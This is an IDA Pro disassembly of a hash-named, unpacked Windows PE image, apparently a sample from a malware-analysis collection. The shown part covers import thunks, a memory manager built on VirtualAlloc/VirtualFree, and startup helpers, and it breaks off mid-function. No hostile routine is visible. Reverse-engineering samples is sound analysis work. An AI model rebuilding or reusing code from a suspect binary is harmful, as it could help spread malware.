; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : C0947BF5ECAE4C50B3A234C3B9F40F84 ; File Name : u:\work\c0947bf5ecae4c50b3a234c3b9f40f84_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 10000000 ; Section 1. (virtual address 00001000) ; Virtual size : 00007750 ( 30544.) ; Section size in file : 00007750 ( 30544.) ; Offset to raw data for section: 00001000 ; Flags 60000020: Text Executable Readable ; Alignment : default .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute CODE segment para public 'CODE' use32 assume cs:CODE ;org 10001000h assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing off_10001000 dd offset dword_10001004 ; DATA XREF: CODE:10004AA6o ; CODE:100053FDo ... dword_10001004 dd 7453060Ah, 676E6972h ; DATA XREF: CODE:off_10001000o off_1000100C dd offset dword_10001058 ; DATA XREF: CODE:10004A78o dd 7 dup(0) dd offset dword_10001058 dd 4, 0 dd offset sub_10002D78 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_10002D8C dd offset nullsub_3 dd offset sub_10002C44 dd offset sub_10002C60 dd offset sub_10002C7C dword_10001058 dd 624F5407h, 7463656Ah ; DATA XREF: CODE:off_1000100Co ; CODE:1000102Co ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001060 proc near ; CODE XREF: sub_100034A4+39p ; sub_100034A4+54p jmp ds:dword_1000B128 sub_10001060 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001068 proc near ; CODE XREF: sub_10002E2C+14p ; sub_10002E48+16p ... jmp ds:dword_1000B124 sub_10001068 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001070 proc near ; CODE XREF: sub_10002F1C+D2p ; CODE:10003224p ; DATA XREF: ... jmp ds:dword_1000B120 sub_10001070 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001078 proc near ; CODE XREF: sub_10002F1C+6Ap ; sub_10002F1C+A7p ... jmp ds:dword_1000B11C sub_10001078 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001080 proc near ; CODE XREF: sub_100034A4+3Fp ; sub_100034A4+5Ap jmp ds:dword_1000B118 sub_10001080 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001088 proc near ; CODE XREF: sub_10003C78+3p jmp ds:dword_1000B13C sub_10001088 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001090 proc near ; CODE XREF: sub_10003530+BAp jmp ds:dword_1000B114 sub_10001090 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001098 proc near ; CODE XREF: sub_100034A4+78p jmp ds:dword_1000B138 sub_10001098 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100010A0 proc near ; CODE XREF: sub_10003C8C+117p jmp ds:dword_1000B110 sub_100010A0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100010A8 proc near ; CODE XREF: sub_10003C8C+10Ap jmp ds:dword_1000B10C sub_100010A8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100010B0 proc near ; CODE XREF: sub_10003530+85p jmp ds:dword_1000B108 sub_100010B0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100010B8 proc near ; CODE XREF: sub_100042EC+78p jmp ds:dword_1000B104 sub_100010B8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100010C0 proc near ; CODE XREF: sub_10003E44+12Fp ; sub_10004218+26p jmp ds:dword_1000B100 sub_100010C0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100010C8 proc near ; CODE XREF: sub_10003C08+1Ep ; sub_10003E44+1Cp jmp ds:dword_1000B0FC sub_100010C8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100010D0 proc near ; CODE XREF: sub_10003C8C+1Dp jmp ds:dword_1000B0F8 sub_100010D0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100010D8 proc near ; CODE XREF: sub_10003C8C+2Ep jmp ds:dword_1000B0F4 sub_100010D8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100010E0 proc near ; CODE XREF: sub_10001148+Ap jmp ds:dword_1000B0F0 sub_100010E0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100010E8 proc near ; CODE XREF: sub_10003E44+129p ; sub_100042EC:loc_100043A5p ... jmp ds:dword_1000B0EC sub_100010E8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100010F0 proc near ; CODE XREF: sub_10003E44+1B1p ; sub_10003E44+1E9p ... jmp ds:dword_1000B0E8 sub_100010F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100010F8 proc near ; CODE XREF: sub_100041C0+31p jmp ds:dword_1000B134 sub_100010F8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001100 proc near ; CODE XREF: sub_10003C8C+5Ep ; sub_10003C8C+C2p ... jmp ds:dword_1000B0E4 sub_10001100 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001108 proc near ; CODE XREF: sub_10003C8C+123p ; sub_10003C8C+163p ... jmp ds:dword_1000B0E0 sub_10001108 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001110 proc near ; CODE XREF: sub_10002B60+6Bp ; sub_10003E44+FFp jmp ds:dword_1000B14C sub_10001110 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001118 proc near ; CODE XREF: sub_10002B60+22p ; sub_10003E44+3Ap ... jmp ds:dword_1000B148 sub_10001118 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001120 proc near ; CODE XREF: sub_10002B60+55p ; sub_10003E44+BFp ... jmp ds:dword_1000B144 sub_10001120 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001128 proc near ; CODE XREF: sub_10003740+16p jmp ds:dword_1000B0DC sub_10001128 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001130 proc near ; CODE XREF: sub_10003A2C+Ep ; sub_10003A44+13p jmp ds:dword_1000B154 sub_10001130 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001138 proc near ; CODE XREF: sub_100042EC:loc_100043C5p jmp ds:dword_1000B0D8 sub_10001138 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001140 proc near ; CODE XREF: sub_100042EC+8Cp ; sub_100042EC+9Dp jmp ds:dword_1000B0D4 sub_10001140 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10001148 proc near ; CODE XREF: sub_100042EC+82p var_1C = word ptr -1Ch var_18 = word ptr -18h push ebx add esp, 0FFFFFFBCh mov ebx, 0Ah push esp call sub_100010E0 ; GetStartupInfoA test byte ptr [esp+48h+var_1C], 1 jz short loc_10001163 movzx ebx, [esp+48h+var_18] loc_10001163: ; CODE XREF: sub_10001148+14j mov eax, ebx add esp, 44h pop ebx retn sub_10001148 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_1000116C proc near ; CODE XREF: sub_100011AC+13p ; sub_10001838+53p jmp ds:dword_1000B0D0 sub_1000116C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001174 proc near ; CODE XREF: sub_100018FC+3Fp ; sub_100018FC+9Dp jmp ds:dword_1000B0CC sub_10001174 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_1000117C proc near ; CODE XREF: sub_10001350+2Fp ; sub_100013B4+1Ep ... jmp ds:dword_1000B0C8 sub_1000117C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001184 proc near ; CODE XREF: sub_10001350+56p ; sub_100013B4+69p ... jmp ds:dword_1000B0C4 sub_10001184 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_1000118C proc near ; CODE XREF: sub_10001838+16p jmp ds:dword_1000B0C0 sub_1000118C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001194 proc near ; CODE XREF: sub_10001838+29p ; sub_100018FC+2Dp ... jmp ds:dword_1000B0BC sub_10001194 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_1000119C proc near ; CODE XREF: sub_10001838+B0p ; sub_100018FC+C6p ... jmp ds:dword_1000B0B8 sub_1000119C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100011A4 proc near ; CODE XREF: sub_100018FC+D0p jmp ds:dword_1000B0B4 sub_100011A4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100011AC proc near ; CODE XREF: sub_10001204+6p push ebx push esi mov esi, offset dword_1000A5E0 cmp dword ptr [esi], 0 jnz short loc_100011F2 push 644h push 0 call sub_1000116C ; LocalAlloc mov ecx, eax test ecx, ecx jnz short loc_100011CF xor eax, eax pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_100011CF: ; CODE XREF: sub_100011AC+1Cj mov eax, ds:dword_1000A5DC mov [ecx], eax mov ds:dword_1000A5DC, ecx xor edx, edx loc_100011DE: ; CODE XREF: sub_100011AC+44j mov eax, edx add eax, eax lea eax, [ecx+eax*8+4] mov ebx, [esi] mov [eax], ebx mov [esi], eax inc edx cmp edx, 64h jnz short loc_100011DE loc_100011F2: ; CODE XREF: sub_100011AC+Aj mov eax, [esi] mov edx, [eax] mov [esi], edx pop esi pop ebx retn sub_100011AC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100011FC proc near ; CODE XREF: sub_10001838+33p ; sub_10001838+3Dp ... mov [eax], eax mov [eax+4], eax retn sub_100011FC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10001204 proc near ; CODE XREF: sub_1000124C+5Dp ; sub_100012BC+73p ... push ebx push esi mov esi, edx mov ebx, eax call sub_100011AC test eax, eax jnz short loc_10001218 xor eax, eax pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_10001218: ; CODE XREF: sub_10001204+Dj mov edx, [esi] mov [eax+8], edx mov edx, [esi+4] mov [eax+0Ch], edx mov edx, [ebx] mov [eax], edx mov [eax+4], ebx mov [edx+4], eax mov [ebx], eax mov al, 1 pop esi pop ebx retn sub_10001204 endp ; =============== S U B R O U T I N E ======================================= sub_10001234 proc near ; CODE XREF: sub_1000124C+2Cp ; sub_1000124C+48p ... mov edx, [eax+4] mov ecx, [eax] mov [edx], ecx mov [ecx+4], edx mov edx, ds:dword_1000A5E0 mov [eax], edx mov ds:dword_1000A5E0, eax retn sub_10001234 endp ; =============== S U B R O U T I N E ======================================= sub_1000124C proc near ; CODE XREF: sub_100015F8+6Cp ; sub_10001688+62p ... var_14 = dword ptr -14h push ebx push esi push edi push ebp push ecx mov esi, ecx mov [esp+14h+var_14], edx mov ebp, eax mov ebx, [ebp+0] mov eax, [esp+14h+var_14] mov edx, [eax] mov [esi], edx mov edx, [eax+4] mov [esi+4], edx loc_10001268: ; CODE XREF: sub_1000124C+57j mov edi, [ebx] mov eax, [esi] mov edx, [ebx+8] add edx, [ebx+0Ch] cmp eax, edx jnz short loc_1000128A mov eax, ebx call sub_10001234 mov eax, [ebx+8] mov [esi], eax mov eax, [ebx+0Ch] add [esi+4], eax jmp short loc_1000129F ; --------------------------------------------------------------------------- loc_1000128A: ; CODE XREF: sub_1000124C+28j add eax, [esi+4] cmp eax, [ebx+8] jnz short loc_1000129F mov eax, ebx call sub_10001234 mov eax, [ebx+0Ch] add [esi+4], eax loc_1000129F: ; CODE XREF: sub_1000124C+3Cj ; sub_1000124C+44j mov ebx, edi cmp ebp, ebx jnz short loc_10001268 mov edx, esi mov eax, ebp call sub_10001204 test al, al jnz short loc_100012B6 xor eax, eax mov [esi], eax loc_100012B6: ; CODE XREF: sub_1000124C+64j pop edx pop ebp pop edi pop esi pop ebx retn sub_1000124C endp ; =============== S U B R O U T I N E ======================================= sub_100012BC proc near ; CODE XREF: sub_100017AC+7Ap ; sub_10001B94+99p var_18 = dword ptr -18h var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFF8h mov ebx, eax mov edi, ebx loc_100012C7: ; CODE XREF: sub_100012BC+88j mov esi, [edx] mov eax, [ebx+8] cmp esi, eax jb short loc_10001340 mov ecx, esi add ecx, [edx+4] mov ebp, eax add ebp, [ebx+0Ch] cmp ecx, ebp ja short loc_10001340 cmp esi, eax jnz short loc_100012FD mov eax, [edx+4] add [ebx+8], eax mov eax, [edx+4] sub [ebx+0Ch], eax cmp dword ptr [ebx+0Ch], 0 jnz short loc_1000133C mov eax, ebx call sub_10001234 jmp short loc_1000133C ; --------------------------------------------------------------------------- loc_100012FD: ; CODE XREF: sub_100012BC+24j mov ecx, esi mov edi, [edx+4] add ecx, edi mov ebp, eax add ebp, [ebx+0Ch] cmp ecx, ebp jnz short loc_10001312 sub [ebx+0Ch], edi jmp short loc_1000133C ; --------------------------------------------------------------------------- loc_10001312: ; CODE XREF: sub_100012BC+4Fj mov ecx, [edx] add ecx, [edx+4] mov [esp+18h+var_18], ecx mov edi, [ebx+8] add edi, [ebx+0Ch] sub edi, ecx mov [esp+18h+var_14], edi sub esi, eax mov [ebx+0Ch], esi mov edx, esp mov eax, ebx call sub_10001204 test al, al jnz short loc_1000133C xor eax, eax jmp short loc_10001348 ; --------------------------------------------------------------------------- loc_1000133C: ; CODE XREF: sub_100012BC+36j ; sub_100012BC+3Fj ... mov al, 1 jmp short loc_10001348 ; --------------------------------------------------------------------------- loc_10001340: ; CODE XREF: sub_100012BC+12j ; sub_100012BC+20j mov ebx, [ebx] cmp edi, ebx jnz short loc_100012C7 xor eax, eax loc_10001348: ; CODE XREF: sub_100012BC+7Ej ; sub_100012BC+82j pop ecx pop edx pop ebp pop edi pop esi pop ebx retn sub_100012BC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10001350 proc near ; CODE XREF: sub_100015F8+5Cp push ebx push esi push edi mov ebx, edx mov esi, eax cmp esi, 100000h jge short loc_10001366 mov esi, 100000h jmp short loc_10001372 ; --------------------------------------------------------------------------- loc_10001366: ; CODE XREF: sub_10001350+Dj add esi, 0FFFFh and esi, 0FFFF0000h loc_10001372: ; CODE XREF: sub_10001350+14j mov [ebx+4], esi push 1 push 2000h push esi push 0 call sub_1000117C ; VirtualAlloc mov edi, eax mov [ebx], edi test edi, edi jz short loc_100013AF mov edx, ebx mov eax, offset off_1000A5E4 call sub_10001204 test al, al jnz short loc_100013AF push 8000h push 0 mov eax, [ebx] push eax call sub_10001184 ; VirtualFree xor eax, eax mov [ebx], eax loc_100013AF: ; CODE XREF: sub_10001350+3Aj ; sub_10001350+4Aj pop edi pop esi pop ebx retn sub_10001350 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100013B4 proc near ; CODE XREF: sub_10001688+4Cp ; sub_10001688+93p push ebx push esi push edi push ebp mov ebx, ecx mov esi, edx mov ebp, eax mov dword ptr [ebx+4], 100000h push 4 push 2000h push 100000h push ebp call sub_1000117C ; VirtualAlloc mov edi, eax mov [ebx], edi test edi, edi jnz short loc_100013FE add esi, 0FFFFh and esi, 0FFFF0000h mov [ebx+4], esi push 4 push 2000h push esi push ebp call sub_1000117C ; VirtualAlloc mov [ebx], eax loc_100013FE: ; CODE XREF: sub_100013B4+29j cmp dword ptr [ebx], 0 jz short loc_10001426 mov edx, ebx mov eax, offset off_1000A5E4 call sub_10001204 test al, al jnz short loc_10001426 push 8000h push 0 mov eax, [ebx] push eax call sub_10001184 ; VirtualFree xor eax, eax mov [ebx], eax loc_10001426: ; CODE XREF: sub_100013B4+4Dj ; sub_100013B4+5Dj pop ebp pop edi pop esi pop ebx retn sub_100013B4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_1000142C proc near ; CODE XREF: sub_100015F8+7Ep ; sub_10001688+7Ap ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFECh mov [esp+24h+var_20], ecx mov [esp+24h+var_24], edx mov [esp+24h+var_1C], 0FFFFFFFFh xor edx, edx mov [esp+24h+var_18], edx mov ebp, eax mov eax, [esp+24h+var_24] add eax, ebp mov [esp+24h+var_14], eax mov ebx, ds:off_1000A5E4 jmp short loc_100014AC ; --------------------------------------------------------------------------- loc_1000145B: ; CODE XREF: sub_1000142C+86j mov edi, [ebx] mov esi, [ebx+8] cmp ebp, esi ja short loc_100014AA mov eax, esi add eax, [ebx+0Ch] cmp eax, [esp+24h+var_14] ja short loc_100014AA cmp esi, [esp+24h+var_1C] jnb short loc_10001479 mov [esp+24h+var_1C], esi loc_10001479: ; CODE XREF: sub_1000142C+47j mov eax, esi add eax, [ebx+0Ch] cmp eax, [esp+24h+var_18] jbe short loc_10001488 mov [esp+24h+var_18], eax loc_10001488: ; CODE XREF: sub_1000142C+56j push 8000h push 0 push esi call sub_10001184 ; VirtualFree test eax, eax jnz short loc_100014A3 mov ds:dword_1000A5C0, 1 loc_100014A3: ; CODE XREF: sub_1000142C+6Bj mov eax, ebx call sub_10001234 loc_100014AA: ; CODE XREF: sub_1000142C+36j ; sub_1000142C+41j mov ebx, edi loc_100014AC: ; CODE XREF: sub_1000142C+2Dj cmp ebx, offset off_1000A5E4 jnz short loc_1000145B mov eax, [esp+24h+var_20] xor edx, edx mov [eax], edx cmp [esp+24h+var_18], 0 jz short loc_100014DC mov eax, [esp+24h+var_20] mov edx, [esp+24h+var_1C] mov [eax], edx mov eax, [esp+24h+var_18] sub eax, [esp+24h+var_1C] mov edx, [esp+24h+var_20] mov [edx+4], eax loc_100014DC: ; CODE XREF: sub_1000142C+95j add esp, 14h pop ebp pop edi pop esi pop ebx retn sub_1000142C endp ; =============== S U B R O U T I N E ======================================= sub_100014E4 proc near ; CODE XREF: sub_100015F8+2Dp ; sub_10001688+E6p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFF4h mov [esp+1Ch+var_18], ecx mov [esp+1Ch+var_1C], edx mov edx, eax mov ebp, edx and ebp, 0FFFFF000h add edx, [esp+1Ch+var_1C] add edx, 0FFFh and edx, 0FFFFF000h mov [esp+1Ch+var_14], edx mov eax, [esp+1Ch+var_18] mov [eax], ebp mov eax, [esp+1Ch+var_14] sub eax, ebp mov edx, [esp+1Ch+var_18] mov [edx+4], eax mov esi, ds:off_1000A5E4 jmp short loc_10001566 ; --------------------------------------------------------------------------- loc_1000152A: ; CODE XREF: sub_100014E4+88j mov ebx, [esi+8] mov edi, [esi+0Ch] add edi, ebx cmp ebp, ebx jbe short loc_10001538 mov ebx, ebp loc_10001538: ; CODE XREF: sub_100014E4+50j cmp edi, [esp+1Ch+var_14] jbe short loc_10001542 mov edi, [esp+1Ch+var_14] loc_10001542: ; CODE XREF: sub_100014E4+58j cmp edi, ebx jbe short loc_10001564 push 4 push 1000h sub edi, ebx push edi push ebx call sub_1000117C ; VirtualAlloc test eax, eax jnz short loc_10001564 mov eax, [esp+1Ch+var_18] xor edx, edx mov [eax], edx jmp short loc_1000156E ; --------------------------------------------------------------------------- loc_10001564: ; CODE XREF: sub_100014E4+60j ; sub_100014E4+74j mov esi, [esi] loc_10001566: ; CODE XREF: sub_100014E4+44j cmp esi, offset off_1000A5E4 jnz short loc_1000152A loc_1000156E: ; CODE XREF: sub_100014E4+7Ej add esp, 0Ch pop ebp pop edi pop esi pop ebx retn sub_100014E4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10001578 proc near ; CODE XREF: sub_100017AC+2Ep var_14 = dword ptr -14h push ebx push esi push edi push ebp push ecx mov ebx, eax mov esi, ebx add esi, 0FFFh and esi, 0FFFFF000h mov [esp+14h+var_14], esi mov ebp, ebx add ebp, edx and ebp, 0FFFFF000h mov eax, [esp+14h+var_14] mov [ecx], eax mov eax, ebp sub eax, [esp+14h+var_14] mov [ecx+4], eax mov esi, ds:off_1000A5E4 jmp short loc_100015E7 ; --------------------------------------------------------------------------- loc_100015AF: ; CODE XREF: sub_10001578+75j mov ebx, [esi+8] mov edi, [esi+0Ch] add edi, ebx cmp ebx, [esp+14h+var_14] jnb short loc_100015BF mov ebx, [esp+14h+var_14] loc_100015BF: ; CODE XREF: sub_10001578+42j cmp ebp, edi jnb short loc_100015C5 mov edi, ebp loc_100015C5: ; CODE XREF: sub_10001578+49j cmp edi, ebx jbe short loc_100015E5 push 4000h sub edi, ebx push edi push ebx call sub_10001184 ; VirtualFree test eax, eax jnz short loc_100015E5 mov ds:dword_1000A5C0, 2 loc_100015E5: ; CODE XREF: sub_10001578+4Fj ; sub_10001578+61j mov esi, [esi] loc_100015E7: ; CODE XREF: sub_10001578+35j cmp esi, offset off_1000A5E4 jnz short loc_100015AF pop edx pop ebp pop edi pop esi pop ebx retn sub_10001578 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100015F8 proc near ; CODE XREF: sub_10001DA4+Bp var_18 = dword ptr -18h push ebx push esi push edi push ebp add esp, 0FFFFFFF8h mov esi, edx mov edi, eax mov ebp, offset off_1000A5F4 add edi, 3FFFh and edi, 0FFFFC000h loc_10001614: ; CODE XREF: sub_100015F8+75j mov ebx, [ebp+0] jmp short loc_1000164C ; --------------------------------------------------------------------------- loc_10001619: ; CODE XREF: sub_100015F8+56j cmp edi, [ebx+0Ch] jg short loc_1000164A mov ecx, esi mov edx, edi mov eax, [ebx+8] call sub_100014E4 cmp dword ptr [esi], 0 jz short loc_1000167F mov eax, [esi+4] add [ebx+8], eax mov eax, [esi+4] sub [ebx+0Ch], eax cmp dword ptr [ebx+0Ch], 0 jnz short loc_1000167F mov eax, ebx call sub_10001234 jmp short loc_1000167F ; --------------------------------------------------------------------------- loc_1000164A: ; CODE XREF: sub_100015F8+24j mov ebx, [ebx] loc_1000164C: ; CODE XREF: sub_100015F8+1Fj cmp ebx, ebp jnz short loc_10001619 mov edx, esi mov eax, edi call sub_10001350 cmp dword ptr [esi], 0 jz short loc_1000167F mov ecx, esp mov edx, esi mov eax, ebp call sub_1000124C cmp [esp+18h+var_18], 0 jnz short loc_10001614 mov ecx, esp mov edx, [esi+4] mov eax, [esi] call sub_1000142C xor eax, eax mov [esi], eax loc_1000167F: ; CODE XREF: sub_100015F8+35j ; sub_100015F8+47j ... pop ecx pop edx pop ebp pop edi pop esi pop ebx retn sub_100015F8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10001688 proc near ; CODE XREF: sub_10001DD0+10p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h push ebx push esi push edi push ebp add esp, 0FFFFFFECh mov [esp+24h+var_24], ecx mov edi, edx mov esi, eax mov ebp, offset off_1000A5F4 add edi, 3FFFh and edi, 0FFFFC000h loc_100016A7: ; CODE XREF: sub_10001688+6Cj ; sub_10001688+B3j mov ebx, [ebp+0] jmp short loc_100016AE ; --------------------------------------------------------------------------- loc_100016AC: ; CODE XREF: sub_10001688+2Dj mov ebx, [ebx] loc_100016AE: ; CODE XREF: sub_10001688+22j cmp ebx, ebp jz short loc_100016B7 cmp esi, [ebx+8] jnz short loc_100016AC loc_100016B7: ; CODE XREF: sub_10001688+28j cmp esi, [ebx+8] jnz short loc_10001713 cmp edi, [ebx+0Ch] jle loc_1000175B lea ecx, [esp+24h+var_20] mov edx, edi sub edx, [ebx+0Ch] mov eax, [ebx+8] add eax, [ebx+0Ch] call sub_100013B4 cmp [esp+24h+var_20], 0 jz short loc_10001713 lea ecx, [esp+24h+var_18] lea edx, [esp+24h+var_20] mov eax, ebp call sub_1000124C cmp [esp+24h+var_18], 0 jnz short loc_100016A7 lea ecx, [esp+24h+var_18] mov edx, [esp+24h+var_1C] mov eax, [esp+24h+var_20] call sub_1000142C mov eax, [esp+24h+var_24] xor edx, edx mov [eax], edx jmp loc_100017A3 ; --------------------------------------------------------------------------- loc_10001713: ; CODE XREF: sub_10001688+32j ; sub_10001688+56j lea ecx, [esp+24h+var_20] mov edx, edi mov eax, esi call sub_100013B4 cmp [esp+24h+var_20], 0 jz short loc_1000175B lea ecx, [esp+24h+var_18] lea edx, [esp+24h+var_20] mov eax, ebp call sub_1000124C cmp [esp+24h+var_18], 0 jnz loc_100016A7 lea ecx, [esp+24h+var_18] mov edx, [esp+24h+var_1C] mov eax, [esp+24h+var_20] call sub_1000142C mov eax, [esp+24h+var_24] xor edx, edx mov [eax], edx jmp short loc_100017A3 ; --------------------------------------------------------------------------- loc_1000175B: ; CODE XREF: sub_10001688+37j ; sub_10001688+9Dj mov ebp, [ebx+8] cmp esi, ebp jnz short loc_1000179C cmp edi, [ebx+0Ch] jg short loc_1000179C mov ecx, [esp+24h+var_24] mov edx, edi mov eax, ebp call sub_100014E4 mov eax, [esp+24h+var_24] cmp dword ptr [eax], 0 jz short loc_100017A3 mov eax, [esp+24h+var_24] mov eax, [eax+4] add [ebx+8], eax mov eax, [esp+24h+var_24] mov eax, [eax+4] sub [ebx+0Ch], eax cmp dword ptr [ebx+0Ch], 0 jnz short loc_100017A3 mov eax, ebx call sub_10001234 jmp short loc_100017A3 ; --------------------------------------------------------------------------- loc_1000179C: ; CODE XREF: sub_10001688+D8j ; sub_10001688+DDj mov eax, [esp+24h+var_24] xor edx, edx mov [eax], edx loc_100017A3: ; CODE XREF: sub_10001688+86j ; sub_10001688+D1j ... add esp, 14h pop ebp pop edi pop esi pop ebx retn sub_10001688 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100017AC proc near ; CODE XREF: sub_10001B94+4Ep ; sub_10001B94+61p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h push ebx push esi push edi add esp, 0FFFFFFECh mov edi, ecx mov [esp+20h+var_20], edx lea ebx, [eax+3FFFh] and ebx, 0FFFFC000h mov esi, [esp+20h+var_20] add esi, eax and esi, 0FFFFC000h cmp ebx, esi jnb short loc_1000182D mov ecx, edi mov edx, esi sub edx, ebx mov eax, ebx call sub_10001578 lea ecx, [esp+20h+var_1C] mov edx, edi mov eax, offset off_1000A5F4 call sub_1000124C mov ebx, [esp+20h+var_1C] test ebx, ebx jz short loc_10001816 lea ecx, [esp+20h+var_14] mov edx, [esp+20h+var_18] mov eax, ebx call sub_1000142C mov eax, [esp+20h+var_14] mov [esp+20h+var_1C], eax mov eax, [esp+20h+var_10] mov [esp+20h+var_18], eax loc_10001816: ; CODE XREF: sub_100017AC+49j cmp [esp+20h+var_1C], 0 jz short loc_10001831 lea edx, [esp+20h+var_1C] mov eax, offset off_1000A5F4 call sub_100012BC jmp short loc_10001831 ; --------------------------------------------------------------------------- loc_1000182D: ; CODE XREF: sub_100017AC+24j xor eax, eax mov [edi], eax loc_10001831: ; CODE XREF: sub_100017AC+6Fj ; sub_100017AC+7Fj add esp, 14h pop edi pop esi pop ebx retn sub_100017AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10001838 proc near ; CODE XREF: sub_10001F24+14p ; sub_100020B4+19p ... arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 10003048 SIZE 00000036 BYTES push ebp mov ebp, esp xor edx, edx push ebp push offset loc_100018EE push dword ptr fs:[edx] mov fs:[edx], esp push offset dword_1000A5C4 call sub_1000118C ; InitializeCriticalSection cmp ds:byte_1000A045, 0 jz short loc_10001866 push offset dword_1000A5C4 call sub_10001194 ; 